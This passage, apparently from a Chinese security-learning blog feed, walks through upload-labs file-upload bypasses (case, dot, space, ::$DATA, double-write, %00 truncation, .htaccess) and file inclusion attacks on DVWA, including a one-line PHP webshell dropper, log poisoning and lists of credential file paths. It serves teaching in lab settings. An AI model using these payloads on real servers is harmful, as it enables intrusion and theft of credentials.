&lt;pre&gt;&lt;code&gt;	在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data，同时加入文件域，而后通过 HTTP 协议将文件内容发送到服务器，服务器端读取这个分段 (multipart) 的数据信息，并将其中的文件内容提取出来并保存的。通常，在进行文件保存的时候，服务器端会读取文件的原始文件名，并从这个原始文件名中得出文件的扩展名，而后随机为文件起一个文件名 ( 为了防止重复 )，并且加上原始文件的扩展名来保存到服务器上

文件上传后导致的常见安全问题一般有:

1、上传文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;

2、上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

3、上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行:

4、上传文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。

	除此之外，还有一些不常见的利用方法，比如将上传文件作为一个入口,溢出服务器的后台处理程序，如图片解析模块;或者上传-一个合法的文本文件， 其内容包含了PHP脚本，再通过“本地文件包含漏洞(Local File Include)&quot;执行此脚本;等等。此类问题不在此细述。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、靶场upload-labs的讲解&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-14-file-upload/ab463a5dc3-20200923224015774.png&quot; alt=&quot;20200923224015774&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;1、靶场常见限制代码&lt;/h4&gt;
&lt;h5&gt;1)前端限制&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;//定义允许上传的文件类型
var allow_ext = &quot;.jpg|.png|.gif&quot;;

从前端限制上传的文件类型为这几个类型
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)后端限制&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1、$deny_ext = array(&quot;.php&quot;,&quot;.php5&quot;,&quot;.php4&quot;,&quot;.php3&quot;,&quot;.php2&quot;,&quot;php1&quot;,&quot;.html&quot;,&quot;.htm&quot;,&quot;.phtml&quot;,&quot;.pht&quot;,&quot;.pHp&quot;,&quot;.pHp5&quot;,&quot;.pHp4&quot;,&quot;.pHp3&quot;,&quot;.pHp2&quot;,&quot;pHp1&quot;,&quot;.Html&quot;,&quot;.Htm&quot;,&quot;.pHtml&quot;,&quot;.jsp&quot;,&quot;.jspa&quot;,&quot;.jspx&quot;,&quot;.jsw&quot;,&quot;.jsv&quot;,&quot;.jspf&quot;,&quot;.jtml&quot;,&quot;.jSp&quot;,&quot;.jSpx&quot;,&quot;.jSpa&quot;,&quot;.jSw&quot;,&quot;.jSv&quot;,&quot;.jSpf&quot;,&quot;.jHtml&quot;,&quot;.asp&quot;,&quot;.aspx&quot;,&quot;.asa&quot;,&quot;.asax&quot;,&quot;.ascx&quot;,&quot;.ashx&quot;,&quot;.asmx&quot;,&quot;.cer&quot;,&quot;.aSp&quot;,&quot;.aSpx&quot;,&quot;.aSa&quot;,&quot;.aSax&quot;,&quot;.aScx&quot;,&quot;.aShx&quot;,&quot;.aSmx&quot;,&quot;.cEr&quot;,&quot;.sWf&quot;,&quot;.swf&quot;);

$deny_ext=array(&quot;  &quot;);  限制mime类型

2、$file_name = trim($_FILES[&apos;upload_file&apos;][&apos;name&apos;]);

trim():去除字符串首尾处的空白字符，也就是去除首尾空格

3、$file_name = deldot($file_name);//删除文件名末尾的点

deldot():去除末尾的所有点

4、$file_ext = strrchr($file_name, &apos;.&apos;);用于获取文件后缀名

strrchr()：用于获取文件或追名

5、$file_ext = strtolower($file_ext); //将所有的大写通通转换为转换为小写

strtolower()：所有的大写通通转换为小写

6、$file_ext = str_ireplace(&apos;::$DATA&apos;, &apos;&apos;, $file_ext);//去除字符串::$DATA （该靶场独有，windows会过滤::$DATA）

str_ireplace():替换的意思

7、$file_name = str_ireplace($deny_ext,&quot;&quot;, $file_name);

就譬如这句话，上传的文件后缀名如果匹配上黑名单的话它就替换成空，也就是什么都没有，相当于将文件名里面的某个参数删除

8、$file_ext = trim($file_ext); //获取文件名后再一次的首尾去空
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、常见的一些文件上传绕过方式&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1、mime类型绕过，.php3 .phtml  

2、.htaccesss  

3、空格和点绕过

4、::$DATA 

5、双写绕过

6、大小写绕过（windows）

7、%00截断

8、文件包含绕过，此时蕴含一句话木马的文件可以使jpg这样的图片后缀。

9、条件竞争：文件会先上传，在判定。这个时候可以上传一个能够创建shell.php文件的文件进行绕过。

windows文件名不能包含下列字符，会把它删了：
\/ :* ?&quot; &amp;lt; &amp;gt;l

因此我们也可以利用这些特殊字符添加在&quot;.php&quot;后面，等上传成功后windows就会自动把这些特殊字符删除，进行一个绕过
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-14-file-upload/aac64aca73-20200923222558648.png&quot; alt=&quot;20200923222558648&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;3、靶场关卡解析&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;这里只是大概讲一个思路，上传成功后就可以用蚁剑进行连接了，不再过多赘述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-14-file-upload/70ce766f64-16.jpg&quot; alt=&quot;16&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;1、Pass-01(前端绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1、前端绕过

前端后缀名限制

上传写有一句话木马的.jpg文件

用BP抓包将.jpg改成.php即可

&quot;shell.php&quot; ——&amp;gt; &quot;shell.jpg&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2、Pass-02(mime类型绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;2、mime类型绕过

mime类型限制

后端限制就不看后缀看mime类型

BP抓包：修改为这一句——&amp;gt;Content-Type：image/png

如果不改，放空，会显示文件类型不正确

Content-Type：

那我们改一下看看

Content-Type：image/png

这就上传成功了
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3、Pass-03(查看原有配置文件绕过[比较老的网站才有])&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;3、查看原有配置文件绕过

网站老的时候会遇见

打开老版本小皮-其他-打开配置文件-httpd-conf-查询关键字php3-看到.php .php3 .phtml都当成php文件执行

这是比较老的网站会出现这样的漏洞，比较新的比较不太好遇到

用BP抓包，把文件名后缀改成.php3 .phtml

&quot;shell.php3&quot;/&quot;shell.phtml&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4、Pass-04(.htaccess绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;4、.htaccess绕过

这一关我们先看看源码，连php3，phtml都被限制了，想一想上一关的配置文件，这时候我们要怎么办呢？

对于这个老网站，有没有可能我们先上传一个配置文件，让它去执行，绕过这些限制呢？

答案肯定是有的

比较老的网站可以写一个.htaccess文件，这个文件是Apache的一个系统配置文件，我们打开来一看一看
这个格式是Apache的一个固定格式噢大家不用管，我们主要来看一看这个意识啊，这个意思就是说当看见shell.jpg文件呢就当成php文件来执行，这个是不是跟刚才那个很像
这个.htaccess的配置文件呢只要在当前目录下都会生效，一般这个文件都不会做出限制，所以我们先直接给它上传这个配置文件

.htaccesss

&amp;lt;FilesMatch &quot;shell.jpg&quot;&amp;gt;
SetHandler application/x-httpd-php
&amp;lt;/FilesMatch&amp;gt;
    
之后再正常上传shell.jpg文件即可（不用BP抓包，直接上传）
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5、Pass-05(大写绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;5、大写绕过

windows文件后缀名是不区分大小写的，都可以用（桌面演示）

用BP抓包

更改为pHp测试，不行，故意发出疑问，为什么不行呢？

原来是这边的网页源码限制了

所以我们改成Php，再尝试一下，你看就成功了

&quot;shell.Php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;6、Pass-06(空格绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;6、空格绕过

用BP抓包，在文件后缀名后面添加个空格或者非常多空格

&quot;shell.php             &quot;

成功上传
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;7、Pass-07(点绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;7、点绕过

用BP抓包，在文件后缀名后面添加个点（添加很多点也是可以的，windows会自动过滤）

&quot;shell.php........&quot;

成功上传
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;8、Pass-08(::$DATA绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;8、::$DATA绕过

.php::$DATA

很明显不在限制的mime类型里面，也就是黑名单里面

BP抓包

&quot;shell.php::$DATA&quot;

上传成功后windows会把::$DATA过滤掉就又变回了.php文件

windows文件名不能包含下列字符，会把它删了：
\/ :* ?&quot; &amp;lt; &amp;gt;l

因此我们也可以利用这些特殊字符添加在&quot;.php&quot;后面，等上传成功后windows就会自动把这些特殊字符删除，进行一个绕过

就譬如：

&quot;shell.php\&quot;也可以正常上传
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;9、Pass-09(一般性限制绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;9、一般性限制绕过

查看网页源代码

对比之前的代码为 $img_path = UPLOAD_PATH.&apos;/&apos;.date(&quot;YmdHis&quot;).rand(1000,9999).$file_ext;

$file_ext = strrchr($file_name, &apos;.&apos;);获取文件后缀

之前它会把我们最后一个点后面的参数给它提取出来，提取出来之后通过一些函数的过滤和黑名单的过滤再给我们安那个后缀名，所以之前的限制是很大的

就譬如&apos;shell.php. &apos; 它就会把最后一个点之后的空格当成后缀名，上传之后就变成了&apos;shell. &apos;,这根本不是一个可执行的文件，所以之前都是不行的

现在新出现了这一句$img_path = UPLOAD_PATH.&apos;/&apos;.$file_name;

然后再看看这个$file_name

$file_name = trim($_FILES[&apos;upload_file&apos;][&apos;name&apos;]);是我们自己所写的那个文件的文件名

现在这个文件名是我们自己所写的，所以方式会有很多

所以这一关先看看网页源代码读取它进行限制的一些函数的顺序

$file_name = trim($_FILES[&apos;upload_file&apos;][&apos;name&apos;]); 首尾先去空，所以我们在后面先给它加上空格

&apos;.php &apos;

$file_name = deldot($file_name);//删除文件名末尾的点,再末尾给它加上点

&apos;.php. &apos;

$file_ext = strrchr($file_name, &apos;.&apos;);获取文件后缀

$file_ext = strtolower($file_ext); //大写转换为小写，这个跟我们没关系，我们就转换成小写就行了

$file_ext = str_ireplace(&apos;::$DATA&apos;, &apos;&apos;, $file_ext);//去除字符串::$DATA，这个靶场独有的也不管

$file_ext = trim($file_ext); //再进行一次首尾去空，所以我们需要再后面再加上空格

&apos;.php . &apos;
 
 因为最后还得匹配一下黑名单，我们要让黑名单匹配不上，所以需要在后面再加一个点
 
 &apos;.php. . &apos; 
 
 &quot;shell.php.     .     &quot;
 
 上传之后此时文件的后缀经过函数一系列过滤为&quot; .php. &quot;
 
 windows又会把最末尾的点给去掉，所以后缀名就变成了可执行的.php了
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;10、Pass-10(双写绕过)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;10、双写绕过

多了一句$file_name = str_ireplace($deny_ext,&quot;&quot;, $file_name);

上传的文件后缀名如果匹配上黑名单的话它就替换成空，也就是什么都没有，相当于将文件名里面的某个参数删除

此时采用双写绕过

&quot;shell.pphphp&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;11、Pass-11(%00截断)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;11、%00截断

白名单限制

$ext_arr = array(&apos;jpg&apos;,&apos;png&apos;,&apos;gif&apos;);只能写这些后缀的，写其他是一点效果都没有的

所以我们上传一个写有一句话木马的.jpg文件

BP抓包

本来第一行为POST /pass-11/index.php ?save_path=../upload/ HTTP/1.1 上传到../upload/这个路径

现将第一行改为这个POST /pass-11/index.php ?save_path=../upload/shell.php%00.jpg HTTP/1.1

因为通过分析网页源代码发现必须要.jpg为后缀名，所以我们后面需要有.jpg，然后%00在ASCII码中属于空字符-null，为空的话像php啊，MySQL啊，碰到%00这样的一个参数就停止了，不会再往下执行了，所以代码执行到./upload/shell.php就结束了,&apos;.jpg&apos;就不会去执行,那么创建的文件就是.php文件

&quot;POST /pass-11/index.php ?save_path=../upload/shell.php%00.jpg HTTP/1.1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;12、Pass-12(%00截断)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;12、%00截断

这一题前端限制上传文件为图片格式 .jpg/.png/.gif  上传写有一句话木马的.jpg文件

BP抓包

上一题写开头，这一题写中间     ../upload/shell.php%00

但是开头有%00的url解码，中间却没有，所以输了%00之后还得用BP自带的功能给它先解码成空后再放包
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-14-file-upload/7d5aa30cf1-21.png&quot; alt=&quot;21&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-14-file-upload/127e485099-22.png&quot; alt=&quot;22&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;从13题开始就是文件包含漏洞了，到文件包含漏洞板块再说&lt;/h5&gt;
</content:encoded></item><item><title>文件操作（包含）漏洞</title><link>https://wangyi187.top/posts/web-15-file-inclusion/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-15-file-inclusion/</guid><description>0x15 文件操作 包含 漏洞 一、什么是文件包含漏洞 1.文件包含漏洞概述 2、常用的文件包含函数 以PHP为例,常用的文件包含函数有以下四种 1.include 2.requi</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x15 文件操作(包含)漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、什么是文件包含漏洞&lt;/h3&gt;
&lt;h4&gt;&lt;strong&gt;1.文件包含漏洞概述&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，并让服务端执行。

什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。

有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、常用的文件包含函数&lt;/h4&gt;
&lt;p&gt;以PHP为例,常用的文件包含函数有以下四种&lt;/p&gt;
&lt;h5&gt;1.include()&lt;/h5&gt;
&lt;h5&gt;2.require()&lt;/h5&gt;
&lt;h5&gt;3.include_once()&lt;/h5&gt;
&lt;h5&gt;4.require_once()&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;区别如下:

1.require():找不到被包含的文件会产生致命错误，并停止脚本运行

2.include():找不到被包含的文件只会产生警告，脚本继续执行

3.require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含，则不会再次包含

4.include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含，则不会再次包含
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、产生原因&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	开发人员都希望代码更加灵活，所以通常会将被包含的文件设置为变量，用来进行动态调用。正是这种灵活性，从而导致客户端可以调
用一个恶意文件，造成文件包含漏洞。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、文件包含漏洞利用的前提条件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;（1）web应用采用include等文件包含函数，并且需要包含的文件路径是
通过用户传输参数的方式引入；

（2）用户能够控制包含文件的参数，被包含的文件可被当前页面访问；
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、文件包含漏洞的典型特征&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/38bb332058-1698829410863.png&quot; alt=&quot;1698829410863&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;6、&lt;strong&gt;漏洞成因分析&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;我们先直接来看一个简单的例子，网页代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	include $_GET[&apos;test&apos;];
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在创建一个phpinfo.php页面，代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	phpinfo();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用文件包含，我们通过include函数来执行phpinfo.php页面，成功解析&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/c7f3050a45-dc778ffd8e524b70ac75079a7827fed8.png&quot; alt=&quot;dc778ffd8e524b70ac75079a7827fed8&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;将phpinfo.php文件后缀改为txt后进行访问，依然可以解析:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/6ea50e40c9-018bfc3e1e3d42d6800be4e4d86a33ab.png&quot; alt=&quot;018bfc3e1e3d42d6800be4e4d86a33ab&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将phpinfo.php文件后缀改为jpg格式，也可以解析:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/8e924270ea-6505b63d46cb412f8d5bccddf7c3943d.png&quot; alt=&quot;6505b63d46cb412f8d5bccddf7c3943d&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;可以看出，include()函数并不在意被包含的文件是什么类型，只要有php代码，都会被解析出来。

在上一期的文件上传漏洞的总结中，我们上传了一个jpg格式的一句话木马，如果网站有文件包含漏洞，jpg文件就可以被当做php文件解析，所以这就是文件上传漏洞通常配合文件上传使用。

现在我们将phpinfo.jpg的内容改成一段文字:hello world!
再次进行访问，可以读出文本内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/8771450eab-5d6785d8b9444d4289e6d0091749fc92.png&quot; alt=&quot;5d6785d8b9444d4289e6d0091749fc92&quot; /&gt;&lt;/p&gt;
&lt;p&gt;利用这个特性，我们可以读取一下包含敏感信息的文件。&lt;/p&gt;
&lt;h3&gt;二、本地文件包含漏洞(LFI)&lt;/h3&gt;
&lt;p&gt;能够打开并包含本地文件的漏洞，我们称为本地文件包含漏洞(LFI)&lt;/p&gt;
&lt;p&gt;测试网页包含如下代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	$file=$_GET[&apos;filename&apos;];
	include($file);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网站利用文件包含功能读取一些php文件，例如phpinfo:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/8c43b64586-cbc0f2c94dd84c7db45f3ece931e174f.png&quot; alt=&quot;cbc0f2c94dd84c7db45f3ece931e174f&quot; /&gt;&lt;/p&gt;
&lt;p&gt;利用该代码，我们可以读取一些系统本地的敏感信息。&lt;/p&gt;
&lt;p&gt;例如:&lt;code&gt;C:\Windows\system.ini&lt;/code&gt;文件。&lt;/p&gt;
&lt;h4&gt;1、使用绝对路径读取&lt;/h4&gt;
&lt;p&gt;使用绝对路径直接读取:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/b7b55030ff-5b328aeec88c47b692ea9d4f6f576687.png&quot; alt=&quot;5b328aeec88c47b692ea9d4f6f576687&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2、使用相对路径进行读取&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;通过./表示当前位置路径，…/表示上一级路径位置，在linux中同样适用。

例如当前页面所在路径为C:\Apache24\htdocs\，我们需要使用…/退到C盘再进行访问，构造路径如下：
../../windows/system.ini

由于我的环境搭建在D盘，所以这里就不做演示了。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、一些常见的敏感目录信息路径&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Windows系统:

1.C:\boot.ini //查看系统版本

2.C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

3.C:\windows\repair\sam //存储Windows系统初次安装的密码

4.C:\ProgramFiles\mysql\my.ini //Mysql配置

5.C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码

6.C:\windows\php.ini //php配置信息

Linux/Unix系统:

1./etc/password //账户信息

2./etc/shadow //账户密码信息

3./usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件

4./usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置

5./usr/local/app/php5/lib/php.ini //PHP相关配置

6./etc/httpd/conf/httpd.conf //Apache配置文件

7./etc/my.conf //mysql配置文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、LFI漏洞利用技巧&lt;/h3&gt;
&lt;h4&gt;1、配合文件上传使用&lt;/h4&gt;
&lt;p&gt;​	有时候我们找不到文件上传漏洞，无法上传webshell，可以先上传一个图片格式的webshell到服务器，再利用本地文件包含漏洞进行解析。&lt;/p&gt;
&lt;p&gt;以DVWA平台为例，将Security Level选择low，编辑一个图片马，内容如下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	fwrite(fopen(&quot;shell.php&quot;,&quot;w&quot;),&apos;&amp;lt;?php eval($_POST[123]);?&amp;gt;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到上传点进行上传：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/9f1ffca508-bf2eedc3da474531b1917d7763177fa1.png&quot; alt=&quot;bf2eedc3da474531b1917d7763177fa1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;文件保存的完整路径为：&lt;/p&gt;
&lt;p&gt;DVWA平台low等级文件包含漏洞页面如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/4b77816a7d-1e9282b639c74eab91df6ec0a00bb71c.png&quot; alt=&quot;1e9282b639c74eab91df6ec0a00bb71c&quot; /&gt;&lt;/p&gt;
&lt;p&gt;该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件，代码如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/cdd1a491d3-ed307a7351224820a6cae2d47c00a986.png&quot; alt=&quot;ed307a7351224820a6cae2d47c00a986&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们利用该页面去执行我们上传的图片马&lt;/p&gt;
&lt;p&gt;构造URL如下，代码成功解析，我这里使用的phpinfo进行测试，实战直接替换为上述所写的一句话木马即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/38cee1ca50-8d87a140896c4f648af950504440c1f3.png&quot; alt=&quot;8d87a140896c4f648af950504440c1f3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注：我们也可以直接在webshell.jpg中写一句话木马，然后再通过文件包含漏洞去连接webshell.jpg，但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式，生成一个.php格式的一句话木马，再去连接。&lt;/p&gt;
&lt;h4&gt;2、包含Apache日志文件&lt;/h4&gt;
&lt;p&gt;有时候网站存在文件包含漏洞，但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/f9377563eb-d846bd86ec7c4c2ea2ec727636377080.png&quot; alt=&quot;d846bd86ec7c4c2ea2ec727636377080&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/f2370ab8b2-23f04c88b7ff4ef7b4c58f7d3e1af569.png&quot; alt=&quot;23f04c88b7ff4ef7b4c58f7d3e1af569&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在用户发起请求时，服务器会将请求写入access.log，当发生错误时将错误写入error.log，日志文件如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/5607b70a0f-556a0cf2f645493e8dc99b0e8cb6b1b3.png&quot; alt=&quot;556a0cf2f645493e8dc99b0e8cb6b1b3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当我们正常访问一个网页时，如`http://127.0.0.1/phpinfo.php，access日志会进行记录，如下图所示:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/040f7c0505-2b58a94436aa410296870232d8eada4c.png&quot; alt=&quot;2b58a94436aa410296870232d8eada4c&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果我们访问一个不存在的资源，也一样会进行记录，例如访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1&amp;lt;?php phpinfo();?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网页会显示403&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/2b1c775d66-2517980983d04e779fa5a63b1ccf14d7.png&quot; alt=&quot;2517980983d04e779fa5a63b1ccf14d7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但查看日志会发现被成功记录但被编码了，如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/90ab04e5f9-6cb87add8bec4e42b1e0fb98510c60c2.png&quot; alt=&quot;6cb87add8bec4e42b1e0fb98510c60c2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们再次进行访问，并使用burp抓包，发现被编码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/ce16d6f994-764770d5b4194696a4e53ee90ae5f8ff.png&quot; alt=&quot;764770d5b4194696a4e53ee90ae5f8ff&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们将报文修改回去，再进行发送即可：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/9cf09d528f-457157023bde4a1594824c7bb43c1147.png&quot; alt=&quot;457157023bde4a1594824c7bb43c1147&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时再查看access日志，正确写入php代码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/18cc12a325-ce659f048e6a497588b4349d8784cd62.png&quot; alt=&quot;ce659f048e6a497588b4349d8784cd62&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再通过本地文件包含漏洞访问，即可执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/76f788a75b-b7dda564404144989c26bd158d3e6e45.png&quot; alt=&quot;b7dda564404144989c26bd158d3e6e45&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以在此处写入一句话木马，再使用webshell管理工具进行连接。&lt;/p&gt;
&lt;h4&gt;3.包含SESSION文件&lt;/h4&gt;
&lt;p&gt;可以先根据尝试包含到SESSION文件，在根据文件内容寻找可控变量，在构造payload插入到文件中，最后包含即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用条件:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.找到Session内的可控变量

2.Session文件可读写，并且知道存储路径
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;php的session文件的保存路径可以在phpinfo的session.save_path看到。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/ec7020e570-befb18bcc73040d48f8530cf9af51a2c.png&quot; alt=&quot;befb18bcc73040d48f8530cf9af51a2c&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;session常见存储路径:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1./var/lib/php/sess_PHPSESSID

2./var/lib/php/sess_PHPSESSID

3./tmp/sess_PHPSESSID

4./tmp/sessions/sess_PHPSESSID

5.session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;相关案例可以查看这道CTF题&lt;/p&gt;
&lt;p&gt;https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/&lt;/p&gt;
&lt;h4&gt;4.包含临时文件&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-15-file-inclusion/d3e3241f72-e6618d373f0c467cb1a7fc6cb4b0046b.png&quot; alt=&quot;e6618d373f0c467cb1a7fc6cb4b0046b&quot; /&gt;&lt;/p&gt;
